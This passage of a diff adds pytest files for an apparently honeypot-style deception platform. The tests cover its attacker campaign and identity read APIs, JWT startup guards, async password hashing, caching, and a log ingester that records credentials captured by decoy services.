from decnet.web.router.campaigns.api_get_campaign_detail import (
get_campaign_detail,
)
with patch(
"decnet.web.router.campaigns.api_get_campaign_detail.repo"
) as mock_repo:
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc:
await get_campaign_detail(
uuid="ghost", user={"uuid": "u", "role": "viewer"}
)
assert exc.value.status_code == 404
@pytest.mark.asyncio
async def test_returns_campaign_with_live_identity_count(self):
from decnet.web.router.campaigns.api_get_campaign_detail import (
get_campaign_detail,
)
campaign = _campaign_row("c-real", identity_count=2)
with patch(
"decnet.web.router.campaigns.api_get_campaign_detail.repo"
) as mock_repo:
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=campaign)
mock_repo.count_identities_for_campaign = AsyncMock(return_value=5)
result = await get_campaign_detail(
uuid="c-real", user={"uuid": "u", "role": "viewer"}
)
assert result["uuid"] == "c-real"
assert result["identity_count_live"] == 5
assert result["identity_count"] == 2
# ─── GET /campaigns/{uuid}/identities ────────────────────────────────────────
class TestListCampaignIdentities:
@pytest.mark.asyncio
async def test_404_when_campaign_missing(self):
from decnet.web.router.campaigns.api_list_campaign_identities import (
list_campaign_identities,
)
with patch(
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
) as mock_repo:
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc:
await list_campaign_identities(
uuid="ghost", limit=50, offset=0,
user={"uuid": "u", "role": "viewer"},
)
assert exc.value.status_code == 404
@pytest.mark.asyncio
async def test_returns_identities_for_existing_campaign(self):
from decnet.web.router.campaigns.api_list_campaign_identities import (
list_campaign_identities,
)
campaign = _campaign_row("c-real")
idents = [
_identity_row("i-1", "c-real"),
_identity_row("i-2", "c-real"),
]
with patch(
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
) as mock_repo:
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=campaign)
mock_repo.list_identities_for_campaign = AsyncMock(return_value=idents)
mock_repo.count_identities_for_campaign = AsyncMock(return_value=2)
result = await list_campaign_identities(
uuid="c-real", limit=50, offset=0,
user={"uuid": "u", "role": "viewer"},
)
assert result["total"] == 2
assert [r["uuid"] for r in result["data"]] == ["i-1", "i-2"]
@pytest.mark.asyncio
async def test_merged_uuid_resolves_to_winners_identities(self):
"""Soft-merged campaigns: identities are listed under the winner."""
from decnet.web.router.campaigns.api_list_campaign_identities import (
list_campaign_identities,
)
winner = _campaign_row("c-winner")
with patch(
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
) as mock_repo:
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=winner)
mock_repo.list_identities_for_campaign = AsyncMock(return_value=[])
mock_repo.count_identities_for_campaign = AsyncMock(return_value=0)
await list_campaign_identities(
uuid="c-loser", limit=50, offset=0,
user={"uuid": "u", "role": "viewer"},
)
mock_repo.list_identities_for_campaign.assert_awaited_once_with(
"c-winner", limit=50, offset=0,
)
# ─── Repo-level integration ──────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_repo_methods_against_empty_schema(tmp_path):
from decnet.web.db.factory import get_repository
repo = get_repository(db_path=str(tmp_path / "campaigns.db"))
await repo.initialize()
assert await repo.list_campaigns(limit=50, offset=0) == []
assert await repo.count_campaigns() == 0
assert await repo.get_campaign_by_uuid("anything") is None
assert await repo.list_identities_for_campaign("anything") == []
assert await repo.count_identities_for_campaign("anything") == 0
@pytest.mark.asyncio
async def test_repo_follows_campaign_merge_chain(tmp_path):
from decnet.web.db.factory import get_repository
repo = get_repository(db_path=str(tmp_path / "merge.db"))
await repo.initialize()
await repo.create_campaign({"uuid": "winner-uuid"})
await repo.create_campaign(
{"uuid": "loser-uuid", "merged_into_uuid": "winner-uuid"}
)
resolved = await repo.get_campaign_by_uuid("loser-uuid")
assert resolved is not None
assert resolved["uuid"] == "winner-uuid"
direct = await repo.get_campaign_by_uuid("winner-uuid")
assert direct["uuid"] == "winner-uuid"
assert direct["merged_into_uuid"] is None

View File

@@ -0,0 +1,313 @@
"""
Tests for the identity-resolution read API.
The clusterer that populates identities is a separate downstream effort
(see development/IDENTITY_RESOLUTION.md); these tests cover the
read-only API that ships first. The identities table is empty at
deployment time, so the headline cases are:
* GET /identities returns {total: 0, data: []} cleanly
* GET /identities/{uuid} returns 404 cleanly
* GET /identities/{uuid}/observations returns 404 if identity missing
* with seeded data, the routes return what the repository returns
* a soft-merged identity (merged_into_uuid set) resolves to the winner
"""
from datetime import datetime, timezone
from unittest.mock import AsyncMock, patch
import pytest
from fastapi import HTTPException
# ─── Helpers ──────────────────────────────────────────────────────────────────
def _identity_row(
uuid: str = "id-uuid-1",
merged_into_uuid: str | None = None,
observation_count: int = 0,
) -> dict:
now = datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat()
return {
"uuid": uuid,
"schema_version": 1,
"campaign_id": None,
"first_seen_at": None,
"last_seen_at": None,
"created_at": now,
"updated_at": now,
"confidence": None,
"observation_count": observation_count,
"ja3_hashes": None,
"hassh_hashes": None,
"payload_simhashes": None,
"c2_endpoints": None,
"kd_digraph_simhash": None,
"merged_into_uuid": merged_into_uuid,
"notes": None,
}
def _observation_row(uuid: str, identity_id: str | None) -> dict:
return {
"uuid": uuid,
"ip": "203.0.113.7",
"identity_id": identity_id,
"first_seen": datetime(2026, 4, 1, tzinfo=timezone.utc).isoformat(),
"last_seen": datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat(),
"event_count": 5,
}
# ─── GET /identities ─────────────────────────────────────────────────────────
class TestListIdentities:
@pytest.mark.asyncio
async def test_empty_table_returns_zero_total(self):
from decnet.web.router.identities.api_list_identities import list_identities
with patch(
"decnet.web.router.identities.api_list_identities.repo"
) as mock_repo:
mock_repo.list_identities = AsyncMock(return_value=[])
mock_repo.count_identities = AsyncMock(return_value=0)
result = await list_identities(
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
)
assert result == {"total": 0, "limit": 50, "offset": 0, "data": []}
@pytest.mark.asyncio
async def test_returns_seeded_data(self):
from decnet.web.router.identities.api_list_identities import list_identities
rows = [_identity_row(f"id-{n}") for n in range(3)]
with patch(
"decnet.web.router.identities.api_list_identities.repo"
) as mock_repo:
mock_repo.list_identities = AsyncMock(return_value=rows)
mock_repo.count_identities = AsyncMock(return_value=3)
result = await list_identities(
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
)
assert result["total"] == 3
assert [r["uuid"] for r in result["data"]] == ["id-0", "id-1", "id-2"]
@pytest.mark.asyncio
async def test_pagination_args_forwarded(self):
from decnet.web.router.identities.api_list_identities import list_identities
with patch(
"decnet.web.router.identities.api_list_identities.repo"
) as mock_repo:
mock_repo.list_identities = AsyncMock(return_value=[])
mock_repo.count_identities = AsyncMock(return_value=0)
await list_identities(
limit=10, offset=20, user={"uuid": "u", "role": "viewer"}
)
mock_repo.list_identities.assert_awaited_once_with(limit=10, offset=20)
# ─── GET /identities/{uuid} ──────────────────────────────────────────────────
class TestGetIdentityDetail:
@pytest.mark.asyncio
async def test_404_on_missing_uuid(self):
from decnet.web.router.identities.api_get_identity_detail import (
get_identity_detail,
)
with patch(
"decnet.web.router.identities.api_get_identity_detail.repo"
) as mock_repo:
mock_repo.get_identity_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc:
await get_identity_detail(
uuid="ghost", user={"uuid": "u", "role": "viewer"}
)
assert exc.value.status_code == 404
@pytest.mark.asyncio
async def test_returns_identity_with_live_observation_count(self):
from decnet.web.router.identities.api_get_identity_detail import (
get_identity_detail,
)
identity = _identity_row("id-real", observation_count=2)
with patch(
"decnet.web.router.identities.api_get_identity_detail.repo"
) as mock_repo:
mock_repo.get_identity_by_uuid = AsyncMock(return_value=identity)
# Live count overrides the (potentially stale) denormalized
# observation_count on the row.
mock_repo.count_observations_for_identity = AsyncMock(return_value=5)
result = await get_identity_detail(
uuid="id-real", user={"uuid": "u", "role": "viewer"}
)
assert result["uuid"] == "id-real"
assert result["observation_count_live"] == 5
# Original denormalized count is preserved on the row.
assert result["observation_count"] == 2
# ─── GET /identities/{uuid}/observations ─────────────────────────────────────
class TestListIdentityObservations:
@pytest.mark.asyncio
async def test_404_when_identity_missing(self):
from decnet.web.router.identities.api_list_identity_observations import (
list_identity_observations,
)
with patch(
"decnet.web.router.identities.api_list_identity_observations.repo"
) as mock_repo:
mock_repo.get_identity_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc:
await list_identity_observations(
uuid="ghost",
limit=50,
offset=0,
user={"uuid": "u", "role": "viewer"},
)
assert exc.value.status_code == 404
@pytest.mark.asyncio
async def test_returns_observations_for_existing_identity(self):
from decnet.web.router.identities.api_list_identity_observations import (
list_identity_observations,
)
identity = _identity_row("id-real")
observations = [
_observation_row("att-1", identity_id="id-real"),
_observation_row("att-2", identity_id="id-real"),
]
with patch(
"decnet.web.router.identities.api_list_identity_observations.repo"
) as mock_repo:
mock_repo.get_identity_by_uuid = AsyncMock(return_value=identity)
mock_repo.list_observations_for_identity = AsyncMock(
return_value=observations
)
mock_repo.count_observations_for_identity = AsyncMock(return_value=2)
result = await list_identity_observations(
uuid="id-real",
limit=50,
offset=0,
user={"uuid": "u", "role": "viewer"},
)
assert result["total"] == 2
assert [r["uuid"] for r in result["data"]] == ["att-1", "att-2"]
@pytest.mark.asyncio
async def test_merged_uuid_resolves_to_winners_observations(self):
"""
When the user requests observations for a soft-merged identity,
get_identity_by_uuid follows the merged_into chain and returns
the winner. The endpoint MUST list observations under the
winner's UUID, not the loser's. Otherwise an operator linking
through cached merge events sees an empty page.
"""
from decnet.web.router.identities.api_list_identity_observations import (
list_identity_observations,
)
# Repo returns the WINNER row even though we asked for the loser's uuid.
winner = _identity_row("id-winner")
with patch(
"decnet.web.router.identities.api_list_identity_observations.repo"
) as mock_repo:
mock_repo.get_identity_by_uuid = AsyncMock(return_value=winner)
mock_repo.list_observations_for_identity = AsyncMock(return_value=[])
mock_repo.count_observations_for_identity = AsyncMock(return_value=0)
await list_identity_observations(
uuid="id-loser",
limit=50,
offset=0,
user={"uuid": "u", "role": "viewer"},
)
# Critical assertion: list_observations_for_identity is called
# with the winner's UUID, not the requested (loser's) one.
mock_repo.list_observations_for_identity.assert_awaited_once_with(
"id-winner", limit=50, offset=0
)
# ─── Repo-level integration: empty schema returns expected shapes ────────────
@pytest.mark.asyncio
async def test_repo_methods_against_empty_schema(tmp_path):
"""
With a freshly initialized SQLite database (no rows), every read
method returns the expected empty/None response. Smoke-tests the
repository layer without going through the FastAPI route layer.
"""
from decnet.web.db.sqlite.repository import SQLiteRepository
from decnet.web.db.sqlite.database import init_db
db_path = str(tmp_path / "ids.db")
init_db(db_path)
repo = SQLiteRepository(db_path=db_path)
assert await repo.list_identities(limit=50, offset=0) == []
assert await repo.count_identities() == 0
assert await repo.get_identity_by_uuid("anything") is None
assert await repo.list_observations_for_identity("anything") == []
assert await repo.count_observations_for_identity("anything") == 0
@pytest.mark.asyncio
async def test_repo_follows_merged_into_chain(tmp_path):
"""
get_identity_by_uuid must transparently follow merged_into_uuid to
surface the canonical winner. This is the contract the endpoint
relies on for soft-merged identity resolution.
"""
from decnet.web.db.models import AttackerIdentity
from decnet.web.db.sqlite.database import init_db
from decnet.web.db.sqlite.repository import SQLiteRepository
from sqlmodel import Session
from decnet.web.db.sqlite.database import get_sync_engine
db_path = str(tmp_path / "merge.db")
init_db(db_path)
# Insert two identities via direct SQL: a winner and a loser whose
# merged_into_uuid points at the winner.
engine = get_sync_engine(db_path)
with Session(engine) as session:
winner = AttackerIdentity(uuid="winner-uuid")
loser = AttackerIdentity(uuid="loser-uuid", merged_into_uuid="winner-uuid")
session.add(winner)
session.add(loser)
session.commit()
repo = SQLiteRepository(db_path=db_path)
resolved = await repo.get_identity_by_uuid("loser-uuid")
assert resolved is not None
assert resolved["uuid"] == "winner-uuid", (
"get_identity_by_uuid must follow merged_into_uuid to the winner"
)
# And the winner queried directly resolves to itself.
direct = await repo.get_identity_by_uuid("winner-uuid")
assert direct["uuid"] == "winner-uuid"
assert direct["merged_into_uuid"] is None

View File

@@ -0,0 +1,122 @@
"""Master API startup guards: mode gating + eager JWT load.
The lifespan is what enforces these. We invoke it directly with a fresh
FastAPI app instance rather than spinning up a TestClient — TestClient
fixtures elsewhere set DECNET_JWT_SECRET globally and would mask the
"missing secret fails at boot" assertion.
"""
from __future__ import annotations
import asyncio
import importlib
import sys
import pytest
from fastapi import FastAPI
def _reload_api(monkeypatch: pytest.MonkeyPatch):
for mod in list(sys.modules):
if mod == "decnet.env" or mod == "decnet.web.api" or mod.startswith("decnet.env."):
sys.modules.pop(mod)
return importlib.import_module("decnet.web.api")
def _strip_pytest_vars(monkeypatch: pytest.MonkeyPatch) -> None:
import os
for k in list(os.environ):
if k.startswith("PYTEST"):
monkeypatch.delenv(k, raising=False)
async def _run_lifespan_startup(api_mod) -> None:
"""Run the lifespan up to (but not past) yield, then unwind cleanly."""
app = FastAPI()
cm = api_mod.lifespan(app)
await cm.__aenter__()
try:
return
finally:
try:
await cm.__aexit__(None, None, None)
except Exception:
pass
def test_master_api_refuses_to_start_in_agent_mode(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setenv("DECNET_MODE", "agent")
monkeypatch.setenv("DECNET_DISALLOW_MASTER", "true")
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
api = _reload_api(monkeypatch)
with pytest.raises(RuntimeError, match="master-only"):
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
_run_lifespan_startup(api)
)
def test_master_api_starts_when_dual_role_enabled(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""DECNET_DISALLOW_MASTER=false is the documented escape hatch for
dev hosts that play both sides — must not trip the gate."""
monkeypatch.setenv("DECNET_MODE", "agent")
monkeypatch.setenv("DECNET_DISALLOW_MASTER", "false")
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
api = _reload_api(monkeypatch)
# Reaching the DB init phase means the gate passed; we don't need to
# actually finish startup. Cancel via a synthetic exception that the
# lifespan doesn't catch.
# Reaching repo.initialize means the gate passed. We don't actually
# need DB to come up — short-circuit and assert no master-only raise.
seen: list[str] = []
async def _spy(*_a, **_kw):
seen.append("init_called")
monkeypatch.setattr(api.repo, "initialize", _spy)
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
_run_lifespan_startup(api)
)
assert seen == ["init_called"], "DB init should have been reached, gate must be inert"
def test_master_api_eager_loads_jwt_secret_at_startup(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""The lifespan must touch DECNET_JWT_SECRET so a missing/insecure
value fails at boot rather than on the first auth-gated request.
We can't realistically exercise the raise-on-missing path in this
repo: dev hosts have a populated .env.local that dotenv auto-loads,
and conftest seeds a JWT secret globally. The actual raise behaviour
is covered by tests/web/test_env_lazy_jwt.py — here we just assert
the lifespan calls into the env module's lazy resolver.
"""
monkeypatch.setenv("DECNET_MODE", "master")
monkeypatch.setenv("DECNET_JWT_SECRET", "y" * 32)
monkeypatch.setenv("DECNET_API_HOST", "127.0.0.1")
monkeypatch.delenv("DECNET_CORS_ORIGINS", raising=False)
api = _reload_api(monkeypatch)
import decnet.env as env_mod
seen: list[str] = []
real_getattr = env_mod.__getattr__
def _spy(name: str) -> str:
seen.append(name)
return real_getattr(name)
monkeypatch.setattr(env_mod, "__getattr__", _spy, raising=False)
async def _noop_init(*_a, **_kw) -> None:
return None
monkeypatch.setattr(api.repo, "initialize", _noop_init)
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
_run_lifespan_startup(api)
)
assert "DECNET_JWT_SECRET" in seen, (
"lifespan must access env.DECNET_JWT_SECRET at startup"
)

View File

@@ -0,0 +1,51 @@
"""
averify_password / ahash_password run bcrypt on a thread so the event
loop can serve other requests while hashing. Contract: they must produce
identical results to the sync versions.
"""
import pytest
from decnet.web.auth import (
ahash_password,
averify_password,
get_password_hash,
verify_password,
)
@pytest.mark.asyncio
async def test_ahash_matches_sync_hash_verify():
hashed = await ahash_password("hunter2")
assert verify_password("hunter2", hashed)
assert not verify_password("wrong", hashed)
@pytest.mark.asyncio
async def test_averify_matches_sync_verify():
hashed = get_password_hash("s3cret")
assert await averify_password("s3cret", hashed) is True
assert await averify_password("s3cre", hashed) is False
@pytest.mark.asyncio
async def test_averify_does_not_block_loop():
"""Two concurrent averify calls should run in parallel (on threads).
With `asyncio.to_thread`, total wall time is ~max(a, b), not a+b.
"""
import asyncio, time
hashed = get_password_hash("x")
t0 = time.perf_counter()
a, b = await asyncio.gather(
averify_password("x", hashed),
averify_password("x", hashed),
)
elapsed = time.perf_counter() - t0
assert a and b
# Sequential would be ~2× a single verify. Parallel on threads is ~1×.
# Single verify is ~250ms at rounds=12. Allow slack for CI noise.
single = time.perf_counter()
verify_password("x", hashed)
single_time = time.perf_counter() - single
assert elapsed < 1.7 * single_time, f"concurrent {elapsed:.3f}s vs single {single_time:.3f}s"

View File

@@ -0,0 +1,62 @@
"""The JWT secret must be lazy: agent/updater subcommands should import
`decnet.env` without DECNET_JWT_SECRET being set."""
from __future__ import annotations
import importlib
import os
import sys
from pathlib import Path
import pytest
def _reimport_env(monkeypatch):
monkeypatch.delenv("DECNET_JWT_SECRET", raising=False)
for mod in list(sys.modules):
if mod == "decnet.env" or mod.startswith("decnet.env."):
sys.modules.pop(mod)
return importlib.import_module("decnet.env")
def test_env_imports_without_jwt_secret(monkeypatch):
env = _reimport_env(monkeypatch)
assert hasattr(env, "DECNET_API_PORT")
def test_jwt_secret_access_returns_value_when_set(monkeypatch):
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
env = _reimport_env(monkeypatch)
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
assert env.DECNET_JWT_SECRET == "x" * 32
def test_agent_cli_imports_without_jwt_secret(monkeypatch, tmp_path):
"""Subprocess check: `decnet agent --help` must succeed with no
DECNET_JWT_SECRET in the environment and no .env file in cwd."""
import subprocess
import pathlib
clean_env = {
k: v for k, v in os.environ.items()
if not k.startswith("DECNET_") and not k.startswith("PYTEST")
}
clean_env["PATH"] = os.environ["PATH"]
clean_env["HOME"] = str(tmp_path)
repo = pathlib.Path(__file__).resolve().parent.parent.parent
# binary = repo / ".venv" / "bin" / "decnet"
binary = Path(sys.executable).parent / "decnet"
result = subprocess.run(
[str(binary), "agent", "--help"],
cwd=str(tmp_path),
env=clean_env,
capture_output=True,
text=True,
timeout=15,
)
assert result.returncode == 0, result.stderr
assert "worker agent" in result.stdout.lower()
def test_unknown_attr_still_raises(monkeypatch):
env = _reimport_env(monkeypatch)
with pytest.raises(AttributeError):
_ = env.DOES_NOT_EXIST

View File

@@ -0,0 +1,67 @@
"""
TTL-cache contract: under concurrent load, N callers collapse to 1 repo hit
per TTL window. Tests use fake repo objects — no real DB.
"""
import asyncio
from unittest.mock import patch
import pytest
from decnet.web.router.health import api_get_health
from decnet.web.router.config import api_get_config
class _FakeRepo:
def __init__(self):
self.total_logs_calls = 0
self.state_calls = 0
async def get_total_logs(self):
self.total_logs_calls += 1
return 0
async def get_state(self, name: str):
self.state_calls += 1
return {"name": name}
@pytest.mark.asyncio
async def test_db_cache_collapses_concurrent_calls():
api_get_health._reset_db_cache()
fake = _FakeRepo()
with patch.object(api_get_health, "repo", fake):
results = await asyncio.gather(*[api_get_health._check_database_cached() for _ in range(50)])
assert all(r.status == "ok" for r in results)
assert fake.total_logs_calls == 1
@pytest.mark.asyncio
async def test_db_cache_expires_after_ttl(monkeypatch):
api_get_health._reset_db_cache()
monkeypatch.setattr(api_get_health, "_DB_CHECK_INTERVAL", 0.05)
fake = _FakeRepo()
with patch.object(api_get_health, "repo", fake):
await api_get_health._check_database_cached()
await asyncio.sleep(0.1)
await api_get_health._check_database_cached()
assert fake.total_logs_calls == 2
@pytest.mark.asyncio
async def test_config_state_cache_collapses_concurrent_calls():
api_get_config._reset_state_cache()
fake = _FakeRepo()
with patch.object(api_get_config, "repo", fake):
results = await asyncio.gather(*[api_get_config._get_state_cached("config_limits") for _ in range(30)])
assert all(r == {"name": "config_limits"} for r in results)
assert fake.state_calls == 1
@pytest.mark.asyncio
async def test_config_state_cache_per_key():
api_get_config._reset_state_cache()
fake = _FakeRepo()
with patch.object(api_get_config, "repo", fake):
await api_get_config._get_state_cached("config_limits")
await api_get_config._get_state_cached("config_globals")
assert fake.state_calls == 2

414
tests/web/test_ingester.py Normal file
View File

@@ -0,0 +1,414 @@
"""
Tests for decnet/web/ingester.py
Covers log_ingestion_worker and _extract_bounty with
async tests using temporary files.
"""
import asyncio
import json
import os
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
# ── _extract_bounty ───────────────────────────────────────────────────────────
class TestExtractBounty:
@pytest.mark.asyncio
async def test_credential_native_shape(self):
"""SSH/Telnet auth-helper shape (secret_b64) → upsert_credential."""
from decnet.web.ingester import _extract_bounty
import base64, hashlib
mock_repo = MagicMock()
mock_repo.upsert_credential = AsyncMock()
log_data: dict = {
"decky": "decky-01",
"service": "ssh",
"attacker_ip": "10.0.0.5",
"fields": {
"username": "root",
"principal": "root",
"secret_printable": "hunter2",
"secret_b64": base64.b64encode(b"hunter2").decode(),
},
}
await _extract_bounty(mock_repo, log_data)
mock_repo.upsert_credential.assert_awaited_once()
cred = mock_repo.upsert_credential.call_args[0][0]
assert cred["service"] == "ssh"
assert cred["principal"] == "root"
assert cred["secret_sha256"] == hashlib.sha256(b"hunter2").hexdigest()
@pytest.mark.asyncio
async def test_credential_native_invalid_b64_dropped(self):
"""Malformed secret_b64 → row dropped with a warning, no upsert."""
from decnet.web.ingester import _extract_bounty
mock_repo = MagicMock()
mock_repo.upsert_credential = AsyncMock()
log_data: dict = {
"decky": "decky-01",
"service": "ssh",
"attacker_ip": "10.0.0.5",
"fields": {"secret_b64": "not!base64!!"},
}
await _extract_bounty(mock_repo, log_data)
mock_repo.upsert_credential.assert_not_awaited()
@pytest.mark.asyncio
async def test_no_fields_skips(self):
from decnet.web.ingester import _extract_bounty
mock_repo = MagicMock()
mock_repo.upsert_credential = AsyncMock()
await _extract_bounty(mock_repo, {"decky": "x"})
mock_repo.upsert_credential.assert_not_awaited()
@pytest.mark.asyncio
async def test_fields_not_dict_skips(self):
from decnet.web.ingester import _extract_bounty
mock_repo = MagicMock()
mock_repo.upsert_credential = AsyncMock()
await _extract_bounty(mock_repo, {"fields": "not-a-dict"})
mock_repo.upsert_credential.assert_not_awaited()
@pytest.mark.asyncio
async def test_no_secret_b64_no_credential(self):
"""The native branch keys off `secret_b64`. Fields lacking it
produce no Credential row — even if username/password keys
from the pre-migration era are present, they're now ignored."""
from decnet.web.ingester import _extract_bounty
mock_repo = MagicMock()
mock_repo.upsert_credential = AsyncMock()
# Pre-migration shape — adapter is gone; this is a no-op path.
await _extract_bounty(mock_repo, {
"fields": {"username": "admin", "password": "stale"},
})
mock_repo.upsert_credential.assert_not_awaited()
# ── log_ingestion_worker ──────────────────────────────────────────────────────
class TestLogIngestionWorker:
@pytest.mark.asyncio
async def test_no_env_var_returns_immediately(self):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
with patch.dict(os.environ, {}, clear=False):
# Remove DECNET_INGEST_LOG_FILE if set
os.environ.pop("DECNET_INGEST_LOG_FILE", None)
await log_ingestion_worker(mock_repo)
# Should return immediately without error
@pytest.mark.asyncio
async def test_file_not_exists_waits(self, tmp_path):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "nonexistent.log")
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
mock_repo.add_logs.assert_not_awaited()
@pytest.mark.asyncio
async def test_ingests_json_lines(self, tmp_path):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
json_file.write_text(
json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
"attacker_ip": "1.2.3.4", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
)
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
mock_repo.add_logs.assert_awaited_once()
_batch = mock_repo.add_logs.call_args[0][0]
assert len(_batch) == 1
assert _batch[0]["attacker_ip"] == "1.2.3.4"
@pytest.mark.asyncio
async def test_handles_json_decode_error(self, tmp_path):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
json_file.write_text("not valid json\n")
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
mock_repo.add_logs.assert_not_awaited()
@pytest.mark.asyncio
async def test_file_truncation_resets_position(self, tmp_path):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
_line: str = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
"attacker_ip": "1.2.3.4", "fields": {}, "raw_line": "x", "msg": ""})
# Write 2 lines, then truncate to 1
json_file.write_text(_line + "\n" + _line + "\n")
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count == 2:
# Simulate truncation
json_file.write_text(_line + "\n")
if _call_count >= 4:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
# Should have ingested lines from original + after truncation
_total = sum(len(call.args[0]) for call in mock_repo.add_logs.call_args_list)
assert _total >= 2
@pytest.mark.asyncio
async def test_partial_line_not_processed(self, tmp_path):
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
# Write a partial line (no newline at end)
json_file.write_text('{"partial": true')
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
mock_repo.add_logs.assert_not_awaited()
@pytest.mark.asyncio
async def test_position_restored_skips_already_seen_lines(self, tmp_path):
"""Worker resumes from saved position and skips already-ingested content."""
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
line_old = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
line_new = json.dumps({"decky": "d2", "service": "ftp", "event_type": "auth",
"attacker_ip": "2.2.2.2", "fields": {}, "raw_line": "y", "msg": ""}) + "\n"
json_file.write_text(line_old + line_new)
# Saved position points to end of first line — only line_new should be ingested
saved_position = len(line_old.encode("utf-8"))
mock_repo.get_state = AsyncMock(return_value={"position": saved_position})
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
_rows = [r for call in mock_repo.add_logs.call_args_list for r in call.args[0]]
assert len(_rows) == 1
assert _rows[0]["attacker_ip"] == "2.2.2.2"
@pytest.mark.asyncio
async def test_set_state_called_with_position_after_batch(self, tmp_path):
"""set_state is called with the updated byte position after processing lines."""
from decnet.web.ingester import log_ingestion_worker, _INGEST_STATE_KEY
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
